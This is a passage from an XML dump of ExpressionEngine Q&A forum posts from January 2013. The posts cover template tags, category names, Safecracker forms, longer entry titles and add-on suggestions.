&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works. So PHP mail() works. ....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the heck could be possibly wrong? What do I miss here?&lt;/p&gt;&#xA;" OwnerUserId="455" LastEditorUserId="455" LastEditDate="2013-01-03T20:46:38.753" LastActivityDate="2013-01-24T11:30:33.857" Title="Contact form vs phpmail/sendmail vs mail()" Tags="|email|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2223" PostTypeId="2" ParentId="689" CreationDate="2013-01-02T18:50:48.857" Score="2" Body="&lt;p&gt;after some research I can confirm that the following 3 fields need to be unique&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;username&lt;/li&gt;&#xA;&lt;li&gt;screen_name&lt;/li&gt;&#xA;&lt;li&gt;email&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;thanks for the tip with the current time - this and a random string is a good way to go about it.&lt;/p&gt;&#xA;" OwnerUserId="455" LastActivityDate="2013-01-02T18:50:48.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2224" PostTypeId="2" ParentId="2214" CreationDate="2013-01-02T20:25:40.553" Score="1" Body="&lt;p&gt;I think it basically comes down to this: you need to set, before you get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if you add &lt;code&gt;process=&quot;end&quot;&lt;/code&gt; to the &lt;code&gt;{stash:embed}&lt;/code&gt;? That means that the sets will happen first, and then it will process the embed.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2013-01-02T20:25:40.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2225" PostTypeId="2" ParentId="2214" CreationDate="2013-01-02T20:34:08.217" Score="2" Body="&lt;p&gt;You're seeing the placeholder code that should get replaced when the template_post_parse hook is called. I guess CT notification templates don't support that hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could either use an EE embed ( assuming CT supports those) or try to get the embed to be processed later in the parse order but without relying on that hook. That would mean using process=&quot;inline&quot; parameter for the stash embed and putting it at the bottom of the host template, rather than the top.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-01-02T20:34:08.217" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2226" PostTypeId="1" AcceptedAnswerId="2227" CreationDate="2013-01-02T21:23:59.103" Score="5" ViewCount="1013" Body="&lt;p&gt;I'm trying to show the &lt;code&gt;category_name&lt;/code&gt; of &lt;code&gt;segment_3&lt;/code&gt;. If I use the variable &lt;code&gt;{segment_3}&lt;/code&gt; it displays the short name, I want to show the Full name. Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="311" LastEditorUserId="55" LastEditDate="2013-01-02T21:45:47.100" LastActivityDate="2013-01-02T21:45:47.100" Title="How do I display a category name based on a segment?" Tags="|ee2|segments|category-name|categories|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2227" PostTypeId="2" ParentId="2226" CreationDate="2013-01-02T21:31:49.407" Score="4" Body="&lt;p&gt;I'd check out Cat2: &lt;a href=&quot;http://devot-ee.com/add-ons/cat2&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/cat2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you can use it like so...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;category_name from category_url_title&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cat2:name category_url_title=&quot;{segment_3}&quot; category_group=&quot;5&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16" LastActivityDate="2013-01-02T21:31:49.407" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2228" PostTypeId="2" ParentId="2226" CreationDate="2013-01-02T21:39:58.463" Score="2" Body="&lt;p&gt;There's also &lt;a href=&quot;https://github.com/averyvery/Freebie&quot; rel=&quot;nofollow&quot;&gt;Freebie&lt;/a&gt; as well which would allow you to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freebie:category_name segment=&quot;3&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-02T21:39:58.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2229" PostTypeId="2" ParentId="2226" CreationDate="2013-01-02T21:40:48.173" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/low-seg2cat&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Low Seg2Cat&lt;/strong&gt;&lt;/a&gt; works great for this.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Low Seg2Cat loops through the segments of the current URI, matches them against existing categories, and registers the matching categories as global variables, which you can use in your templates.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You'd be able to access your category name using &lt;code&gt;{segment_3_category_name}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-01-02T21:40:48.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2230" PostTypeId="1" AcceptedAnswerId="9910" CreationDate="2013-01-02T22:39:34.067" Score="14" ViewCount="2152" Body="&lt;p&gt;My client needs longer titles/URL titles/Structure url titles, but there is no add-on available with this specific functionality. I already &lt;a href=&quot;http://zenbustudio.com/software/kyara&quot;&gt;know about&lt;/a&gt; &lt;a href=&quot;http://devot-ee.com/add-ons/title-master&quot;&gt;these&lt;/a&gt; &lt;a href=&quot;http://devot-ee.com/add-ons/mx-title-control&quot;&gt;add-ons&lt;/a&gt;, but they don't do what I need. A &lt;a href=&quot;http://devot-ee.com/add-ons/support/title-master/viewthread/8188&quot;&gt;support request with Title Master&lt;/a&gt; is already filed, it extends titles in Structure, but the &lt;code&gt;url_title&lt;/code&gt; is still cut-off at the shorter length, all three components needed to be extended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need to hack the core, but I'm not sure which files I need to modify. So far, I've found these 2 files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/system/expressionengine/controllers/cp/content_publish.php, lines 2279 &amp;amp; 2291&lt;/li&gt;&#xA;&lt;li&gt;/system/expressionengine/third-party/structure/tab.structure.php, line 156&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Those files seem to update the &quot;maxlength&quot; parameter on the HTML for the 3 title input fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I've found these database tables:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;exp_channel_titles &gt; title&lt;/li&gt;&#xA;&lt;li&gt;exp_channel_titles &gt; url_title&lt;/li&gt;&#xA;&lt;li&gt;exp_structure_listings &gt; uri&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So I think I just need to change a few more files, but I don't know where they are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Javascript file that controls the URL Title auto-fill on the publish page.&lt;/li&gt;&#xA;&lt;li&gt;Javascript file that controls the &lt;em&gt;Structure&lt;/em&gt; URL Title auto-fill on the publish page.&lt;/li&gt;&#xA;&lt;li&gt;Structure Page URL database column.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Does anybody know where these are, and possibly what line number I need to edit? Am I forgetting anything? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="252" LastEditDate="2013-01-03T16:56:07.880" LastActivityDate="2014-12-09T21:29:48.030" Title="How to Hack the Core for Longer Titles?" Tags="|database|structure|url-title|title|core-hacks|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2231" PostTypeId="1" AcceptedAnswerId="2238" CreationDate="2013-01-02T22:40:43.720" Score="3" ViewCount="203" Body="&lt;p&gt;I am working on a new version of an existing magazine site. We are re-architecting the category structure, and I have set up a new category group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We need to go through all existing articles and re-categorize them, and I am trying to build a tool for this purpose using Safecracker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this particular snippet doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{category_menu category_group_id=&quot;3&quot;}&#xA;    &amp;lt;select name=&quot;category[]&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;            {select_options}&#xA;    &amp;lt;/select&amp;gt;&#xA;{/category_menu}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;… in fact it goes so far as to render all categories, in all groups, twice. (Using &lt;code&gt;group_id&lt;/code&gt; doesn't change anything, nor does &lt;code&gt;cat_group&lt;/code&gt;, both options I found through googling old ExpressionEngine forum posts.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm in ExpressionEngine 2.5.3.)&lt;/p&gt;&#xA;" OwnerUserId="453" LastEditorUserId="453" LastEditDate="2013-01-02T22:47:31.373" LastActivityDate="2013-01-03T05:03:12.157" Title="How do you get Safecracker to display category groups?" Tags="|categories|safecracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2233" PostTypeId="2" ParentId="2230" CreationDate="2013-01-02T23:01:32.173" Score="1" Body="&lt;p&gt;I ran into the need for longer titles (eg. scientific paper titles), and (shameless plug) Zenbu Studio's &lt;a href=&quot;http://zenbustudio.com/software/kyara&quot; rel=&quot;nofollow&quot;&gt;Kyara module&lt;/a&gt; did the trick. Structure url titles are not supported as of this writing, however.&lt;/p&gt;&#xA;" OwnerUserId="607" LastActivityDate="2013-01-02T23:01:32.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2234" PostTypeId="2" ParentId="2230" CreationDate="2013-01-03T01:03:15.643" Score="5" Body="&lt;p&gt;I'm not certain why &lt;a href=&quot;http://devot-ee.com/add-ons/title-master&quot; rel=&quot;noreferrer&quot;&gt;Title Master&lt;/a&gt; would be insufficient for your needs. It handles increasing title length, url_title length, and works with Structure. Maybe if you state what it doesn't do that you need, that could help in identifying an alternative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, if you're going to hack, I think you've hit all the main spots, obviously making sure the database will handle the new size is also necessary, but it looks like you've got that covered. We hacked once for a client, in EE1, but the areas were similar, except no Structure.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="252" LastEditDate="2013-01-03T01:36:27.177" LastActivityDate="2013-01-03T01:36:27.177" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="2235" PostTypeId="1" CreationDate="2013-01-03T04:07:29.783" Score="0" ViewCount="96" Body="&lt;p&gt;I do not wish my users to be able to edit category entries. I have hidden the category fields via the publish layout however they can still access the categories via the multi entry category editor by choosing either Add or Remove categories. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The users do not have any permissions to add/edit categories themselves but I wish to stop them assigning their own categories to their news articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way of disabling this functionality either natively or via a 3rd party extension. I use Better Workflow but this bypasses all of the draft/publish checks. &lt;/p&gt;&#xA;" OwnerUserId="408" LastActivityDate="2013-01-04T03:31:18.157" Title="How to disable the multi category edit form" Tags="|categories|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2236" PostTypeId="1" AcceptedAnswerId="2249" CreationDate="2013-01-03T04:23:54.750" Score="3" ViewCount="887" Body="&lt;p&gt;I'd like to be able to allow clients to use the Rich Text Editor to paste the embed code from youtube or vimeo. Instructing them to use &quot;View Code&quot; then paste is going to be difficult!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible natively, and if not does a free tool for the RTE exist?&lt;/p&gt;&#xA;" OwnerUserId="133" LastActivityDate="2013-01-03T14:40:37.360" Title="Is there a free tool for the Rich Text Editor to embed youtube videos?" Tags="|wysiwyg|video|richtext|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2237" PostTypeId="2" ParentId="1889" CreationDate="2013-01-03T04:55:29.857" Score="1" Body="&lt;p&gt;I've not used this in a SafeCracker form, but in a &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt; form, I've used the &lt;a href=&quot;https://github.com/lodewijk/low_options&quot; rel=&quot;nofollow&quot;&gt;Low Options&lt;/a&gt; plugin to output the options from a P&amp;amp;T Dropdown field, so it might be worth a try if you're still having trouble with this.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-01-03T04:55:29.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2238" PostTypeId="2" ParentId="2231" CreationDate="2013-01-03T05:03:12.157" Score="5" Body="&lt;p&gt;I've done something similar with a group of checkboxes using the categories tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;category-group-name&quot;&amp;gt;Category Group Name&amp;lt;/label&amp;gt;&#xA;{categories group_id=&quot;3&quot;}&#xA;  &amp;lt;option value=&quot;{category_id}&quot;{selected}&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;  &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;category[]&quot; value=&quot;{category_id}&quot; {checked}=&quot;&quot;&amp;gt; {category_name}&amp;lt;/label&amp;gt;&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-01-03T05:03:12.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2239" PostTypeId="1" AcceptedAnswerId="2260" CreationDate="2013-01-03T05:17:04.157" Score="2" ViewCount="57" Body="&lt;p&gt;I'm using Safecracker Registration and was able to create a form with an &lt;code&gt;email&lt;/code&gt; field. When a new email address is entered in it and the form is submitted, the Member's email is actually updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make EE not just instantly update the email, though? Shouldn't it first verify that the email is valid by sending an email with an activation link? That's how I have things set up for initial sign ups. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think this is specifically a Safecracker Registration issue, but rather an EE one. However, I can't seem to find a &quot;Members must verify email change&quot; option in the CP. Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="172" LastEditDate="2013-01-03T08:27:42.103" LastActivityDate="2013-01-03T14:59:18.280" Title="Safecracker Registration: changing email address?" Tags="|members|safecracker-registration|member-details|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2240" PostTypeId="1" AcceptedAnswerId="2242" CreationDate="2013-01-03T06:08:00.660" Score="2" ViewCount="184" Body="&lt;p&gt;How can I send an order as gift in Expresso Store? I tried the &lt;a href=&quot;http://devot-ee.com/add-ons/store-gift-wrapping&quot; rel=&quot;nofollow&quot;&gt;Gift Wrapping add-on&lt;/a&gt; but I'm not sure how to make it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate your help in achieving the above. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="694" LastEditorUserId="55" LastEditDate="2013-01-03T14:11:15.897" LastActivityDate="2013-01-03T14:11:15.897" Title="How to send as gift with Expresso Store" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2241" PostTypeId="1" CreationDate="2013-01-03T06:22:38.143" Score="3" ViewCount="161" Body="&lt;p&gt;I use Zoo Visitors and the Zoo channel has a Playa field which relates to a Customers channel. A logged in user may only see entries he has been assigned to. The conditional to check if the customer entry to list has a parent to the logged in user fails.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;customers&quot; disable=&quot;categories|category_fields|pagination&quot; dynamic=&quot;yes&quot;}&#xA;{exp:playa:parents channel=&quot;zoo_visitor&quot; status=&quot;not closed&quot; disable=&quot;categories|category_fields|pagination&quot;}&#xA;    {if &quot;{username}&quot; == &quot;{logged_in_username&quot;}&quot;}There's a match{/if}&#xA;{/exp:playa:parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error message says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parse error: syntax error, unexpected '}' in /serverpath/public_html/system/expressionengine/libraries/Functions.php(683) : eval()'d code on line 12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I replace &lt;code&gt;{logged_in_username}&lt;/code&gt; with a sample username like &lt;code&gt;testperson@mydomain.com&lt;/code&gt; then the conditional does not break, it does find the match. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The conditional once worked. There where some software updates like EE to 2.5.5, Zoo Visitor to 1.3.21, Playa to 4.3.3 but reverting back to older versions did not help to solve&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to find out if the logged in user is a parent in the Playa loop. How would I do this?&lt;/p&gt;&#xA;" OwnerUserId="686" LastEditorUserId="55" LastEditDate="2013-01-03T13:27:39.723" LastActivityDate="2013-01-03T13:27:39.723" Title="Playa and Zoo Visitors conditional to check a match does give an error" Tags="|conditionals|playa|zoo-visitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2242" PostTypeId="2" ParentId="2240" CreationDate="2013-01-03T07:22:16.180" Score="3" Body="&lt;p&gt;I believe all you need for the basics of a gift order is the ability to have different billing and shipping addresses, which Expresso Store allows. So gifts can be done, you'd just want a custom field to capture 'Is this a Gift?' option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The add-on, &lt;a href=&quot;http://devot-ee.com/add-ons/store-gift-wrapping&quot; rel=&quot;nofollow&quot;&gt;Gift Wrapping&lt;/a&gt;, that you mentioned above, seems as if it's more to provide an option, like, well… 'gift wrapping'. I mean, if you were going to charge, like Amazon and other stores do to have the item wrapped and a card added to it, rather than just shipping it to the person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not offering, gift wrapping— meaning you won't offer to wrap and add a card to a gift item, then I believe you can just add one or more custom fields related to how to handle a gift, such as 'Is this a gift?' and/or 'Include Receipt?'&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-03T07:22:16.180" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2243" PostTypeId="1" AcceptedAnswerId="2246" CreationDate="2013-01-03T08:01:08.143" Score="1" ViewCount="249" Body="&lt;p&gt;Given Channel entries, is there a way to get a list of unique entries in a text field and how many times that entry exist? For example, say the Channel contains the field &lt;code&gt;first_name&lt;/code&gt; (FT is text) and there are 100 entries. I need to know how that &quot;John&quot; exist 20 times, &quot;Jill&quot; exist 50 times, and &quot;Jane&quot; exist 30 times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possible solution is to nest looping through the channel entries and enabling PHP in the template in order to build the result I need. This seems inefficient. Another option is to probably use the Query module, but that requires knowing which fields the data exist in -- which becomes a maintenance issue when fields are deleted and re-added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-01-03T08:43:22.157" Title="Channel Entries: DISTINCT and COUNT" Tags="|channel-entries|query|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2244" PostTypeId="1" AcceptedAnswerId="2245" CreationDate="2013-01-03T08:20:13.953" Score="1" ViewCount="58" Body="&lt;p&gt;I've got a CSS module that I only want to display on the page if there are entries in the channel.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;staff&quot; dynamic=&quot;no&quot; limit=&quot;6&quot; orderby=&quot;random&quot; {gv_param_disable_default}}&#xA;&#xA;{!-- don't want this part to loop but should only display once if entries exist --}&#xA;&amp;lt;section id=&quot;staff-module&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Meet the staff&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;div id=&quot;staff-photies&quot;&amp;gt;&#xA;&#xA;        {!-- this is the part we want to loop --}&#xA;        &amp;lt;a href=&quot;/about/meet-the-staff/&quot;&amp;gt;&#xA;            &amp;lt;figure&amp;gt;&#xA;&#xA;                {exp:ce_img:single src=&quot;{cf_people_photo}&quot; width=&quot;140&quot; crop=&quot;yes&quot; alt=&quot;{title}&quot;}&#xA;                &amp;lt;figcaption&amp;gt;{title}&amp;lt;/figcaption&amp;gt;&#xA;            &amp;lt;/figure&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;{if count == total_results}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/section&amp;gt;&#xA;&amp;lt;!-- // staff-module --&amp;gt;&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing something blatantly obvious in my conditional?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-03T08:23:59.090" Title="conditional markup display" Tags="|channel-entries|channel|loop|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2245" PostTypeId="2" ParentId="2244" CreationDate="2013-01-03T08:23:59.090" Score="4" Body="&lt;p&gt;Yes, I was missing something obvious.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count == &quot;1&quot;}&#xA;&amp;lt;section id=&quot;staff-module&quot;&amp;gt;&#xA;&amp;lt;h2&amp;gt;Meet the staff&amp;lt;/h2&amp;gt;&#xA;&amp;lt;div id=&quot;staff-photies&quot;&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-03T08:23:59.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2246" PostTypeId="2" ParentId="2243" CreationDate="2013-01-03T08:43:22.157" Score="2" Body="&lt;p&gt;While custom queries using the queries module will provide the most flexibility in designing a report like this, you may also want to take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/nsm-reports&quot; rel=&quot;nofollow&quot;&gt;NSM Reports&lt;/a&gt;. The goal of NSM Reports is to allow you to create custom reports faster, but store/save reports, and send reports to clients or automatically run a monthly report or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tended towards custom queries myself, so haven't used it before. But it's probably worth the look, if your going to allow fields to be randomly deleted. I believe it will pull a field list from ExpressionEngine for you.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-03T08:43:22.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2247" PostTypeId="2" ParentId="2235" CreationDate="2013-01-03T09:27:17.397" Score="-1" Body="&lt;p&gt;You will find under each member groups permissions the ability to lock out each group from being able to edit/add categories: &#xA; &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/member_groups_edit.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/members/member_groups_edit.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-01-03T09:27:17.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2248" PostTypeId="1" CreationDate="2013-01-03T09:55:57.093" Score="2" ViewCount="102" Body="&lt;p&gt;I'm planning a new site that will have a list of entries and a database of members (nothing unusual there I hear you say). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to work out is how to allow a member to express interest in one or more entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The scenario would be something like this...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The member would log in&lt;/li&gt;&#xA;&lt;li&gt;They would then browse or search entries&lt;/li&gt;&#xA;&lt;li&gt;When they find one they like the could click a button to express interest in that entries&lt;/li&gt;&#xA;&lt;li&gt;They could then do the same for other entries if they choose&lt;/li&gt;&#xA;&lt;li&gt;Another member could then log in, browse entries and see which other members are interested in that entry&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All thoughts will be gratefully received!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="432" LastActivityDate="2013-01-03T10:17:45.767" Title="Any ideas on how to link members to entries?" Tags="|channel-entries|members|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2249" PostTypeId="2" ParentId="2236" CreationDate="2013-01-03T10:09:39.713" Score="6" Body="&lt;p&gt;As far as I'm aware there isn't a free plugin available currently that allows for this feature and it's not catered for out-of-the-box. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it would be possible for a tool to be developed and added to the tool library - I've just taken a quick look though the &lt;code&gt;link&lt;/code&gt; plugin - this could easily be adapted to work for YouTube / Vimeo links if you feel so inclined. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The full dev instructions for the API can be found here - &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/rte_tools.html&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/rte_tools.html&lt;/a&gt; - however it's probably easiest to edit one of the existing tools in this case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively DevDemon's Channel Videos is free and allows the user to instantly add videos - &lt;a href=&quot;http://www.devdemon.com/channel_videos/&quot;&gt;http://www.devdemon.com/channel_videos/&lt;/a&gt; - however this wouldn't be integrated into RTE. &lt;/p&gt;&#xA;" OwnerUserId="39" LastEditorUserId="39" LastEditDate="2013-01-03T10:33:33.737" LastActivityDate="2013-01-03T10:33:33.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2250" PostTypeId="2" ParentId="2248" CreationDate="2013-01-03T10:17:45.767" Score="3" Body="&lt;p&gt;Maybe &lt;a href=&quot;http://devot-ee.com/add-ons/likee&quot; rel=&quot;nofollow&quot;&gt;LikEE&lt;/a&gt;, &lt;a href=&quot;http://devot-ee.com/add-ons/like&quot; rel=&quot;nofollow&quot;&gt;Like&lt;/a&gt;, &lt;a href=&quot;http://devot-ee.com/add-ons/favorites&quot; rel=&quot;nofollow&quot;&gt;Favorites&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/shortlist&quot; rel=&quot;nofollow&quot;&gt;Shortlist&lt;/a&gt; would fit the bill?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-01-03T10:17:45.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2251" PostTypeId="2" ParentId="2241" CreationDate="2013-01-03T10:22:37.840" Score="1" Body="&lt;p&gt;Not sure if it's a typo or not, but you've got an extra &quot; in &lt;code&gt;&quot;{logged_in_username&quot;}&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-01-03T10:22:37.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2252" PostTypeId="2" ParentId="2235" CreationDate="2013-01-03T10:25:20.430" Score="1" Body="&lt;p&gt;Not sure why you even have categories available if people aren't able to assign entries to them, but if you don't want people doing anything categories related, why not create a publish layout which has the categories tab removed completely?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-01-03T10:25:20.430" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2253" PostTypeId="1" AcceptedAnswerId="2255" CreationDate="2013-01-03T11:36:17.647" Score="5" ViewCount="285" Body="&lt;p&gt;Has anyone got a way to create a &quot;repeating&quot; field without using Matrix?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I kind of need Matrix's ability to create new &quot;rows&quot; but since each row would just have a single bit of text using Matrix seems like overkill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data will just be text and I &lt;em&gt;could&lt;/em&gt; simply let the user add a comma delimited list of items but for the sake of neatness I would prefer them to enter each item in its own textbox then click to add another.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-01-03T13:59:24.540" Title="Repeating field without using Matrix" Tags="|custom-fields|fields|fieldtype|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2254" PostTypeId="2" ParentId="2253" CreationDate="2013-01-03T11:56:09.347" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/nolan&quot; rel=&quot;nofollow&quot;&gt;Nolan&lt;/a&gt; would probably do what you need in that case. My understanding is that it's a Matrix Clone with not as much functionality as Matrix does. I've not personally used it before, but Iain is a pretty solid developer, so I'd be confident in its function.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-01-03T11:56:09.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2255" PostTypeId="2" ParentId="2253" CreationDate="2013-01-03T12:48:29.653" Score="5" Body="&lt;p&gt;Pixel and Tonic has another field_type called &lt;a href=&quot;http://devot-ee.com/add-ons/pt-list&quot;&gt;P&amp;amp;T List&lt;/a&gt; which might be suitable. If you just need a list of items, I'd look at that. I believe it's free.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-03T12:48:29.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
